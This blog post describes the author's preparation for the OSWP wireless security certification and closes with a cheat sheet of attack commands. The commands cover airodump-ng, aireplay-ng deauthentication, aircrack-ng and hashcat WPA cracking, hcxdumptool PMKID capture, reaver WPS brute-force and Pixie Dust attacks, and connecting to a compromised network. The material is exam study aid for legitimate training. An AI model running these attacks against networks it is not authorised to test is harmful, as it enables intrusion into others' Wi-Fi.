🗒️Best Resources for OSWP
Since I had very limited time to prepare for the OSWP exam, my approach was simple and practical. Instead of creating detailed notes, I focused on understanding the tools, the attack mindset, and the overall workflow required to crack the exam. Most of my preparation revolved around cheat sheets rather than long theory notes.
Whenever I had free time, I spent it reading blog posts and write-ups from people who had already cleared the exam. These blogs were extremely helpful in understanding what actually matters for the exam and how to approach different wireless attack scenarios.
Below is a list of the best resources and blogs I found during my preparation. I’ve also included the consolidated cheat sheet I created for my own reference, which helped me quickly recall commands and workflows during the exam.
These resources played a major role in helping me prepare efficiently, especially with such a short preparation window.
Resources:
OSWP Cheatsheet
1. Interface Setup & Driver Management
iwconfig
iwconfig
Display wireless interfaces
iw
iw dev
Show wireless devices
airmon-ng
airmon-ng check kill
Kill conflicting processes
airmon-ng
airmon-ng start wlan0
Enable monitor mode
ip
ip link set wlan0 up
Bring interface up
rfkill
rfkill unblock wifi
Unblock Wi-Fi
2. aircrack-ng Suite
airmon-ng (Monitor Mode)
airmon-ng
List wireless interfaces
airmon-ng start wlan0
Enable monitor mode
airmon-ng stop wlan0mon
Disable monitor mode
airodump-ng (Recon & Capture)
airodump-ng wlan0mon
Scan APs & clients
airodump-ng -c <CH> --bssid <AP> wlan0mon
Target specific AP
airodump-ng -c <CH> --bssid <AP> -w cap wlan0mon
Capture handshake
airodump-ng --band abg wlan0mon
Scan all bands
aireplay-ng (Client Interaction)
aireplay-ng --test wlan0mon
Test packet injection
aireplay-ng -0 5 -a <AP> wlan0mon
Deauth all clients
aireplay-ng -0 5 -a <AP> -c <CLIENT> wlan0mon
Deauth specific client
aircrack-ng (Handshake Validation & Cracking)
aircrack-ng cap.cap
Verify handshake
aircrack-ng -w wordlist.txt cap.cap
Dictionary attack
aircrack-ng -e <SSID> cap.cap
Crack specific SSID
3. hcxdumptool (PMKID / EAPOL Capture)
hcxdumptool -i wlan0mon -o dump.pcapng
Capture PMKID/EAPOL
hcxdumptool -i wlan0mon --enable_status=1 -o dump.pcapng
Live capture status
hcxdumptool -i wlan0mon --filterlist_ap=<BSSID> -o dump.pcapng
Target AP
hcxpcapngtool -o hash.hc22000 dump.pcapng
Convert for hashcat
4. hashcat (WPA/WPA2 Cracking)
hashcat -m 22000 hash.hc22000 wordlist.txt
Crack WPA/WPA2
hashcat -m 22000 hash.hc22000 -a 0 rockyou.txt
Dictionary attack
hashcat -m 22000 hash.hc22000 -r best64.rule
Rule-based attack
hashcat --show -m 22000 hash.hc22000
Show cracked keys
hashcat --status
Check progress
5. reaver (WPS Attacks)
reaver -i wlan0mon -b <BSSID> -c <CH> -vv
WPS brute-force
reaver -i wlan0mon -b <BSSID> -c <CH> -K 1
Pixie Dust attack
reaver --no-associate -i wlan0mon -b <BSSID>
No association mode
reaver -t 5 -vv -i wlan0mon -b <BSSID>
Timeout tuning
6. wpa_supplicant (Connect After Compromise)
wpa_passphrase SSID password > conf.conf
Generate config
wpa_supplicant -i wlan0 -c conf.conf
Connect to WPA/WPA2
wpa_supplicant -B -i wlan0 -c conf.conf
Background mode
dhclient wlan0
Obtain IP
wpa_cli status
Verify connection
Conclusion
The OSWP journey was short, intense, and surprisingly rewarding. Even with limited preparation time, the exam proved that with the right mindset, focused practice, and good resources, it’s absolutely manageable. The certification does a great job of testing real-world wireless attack skills rather than just theoretical knowledge.
While the lack of official labs can feel like a drawback at first, pairing the OSWP course material with the right external hands-on resources bridges that gap effectively. Understanding the fundamentals, knowing your tools well, and having a simple cheat sheet to fall back on can make a huge difference during the exam.
I hope this blog helps you plan your OSWP preparation more confidently and avoid some of the last-minute panic I went through. If you’re preparing for the exam, trust the process, practice smart, and remember—sometimes the packets just need a little more time to fly.
Good luck, and happy hacking.
Hacker's Mantra: In the digital world, the price of silence is often your freedom. - Timsux Wales
Last updated
Was this helpful?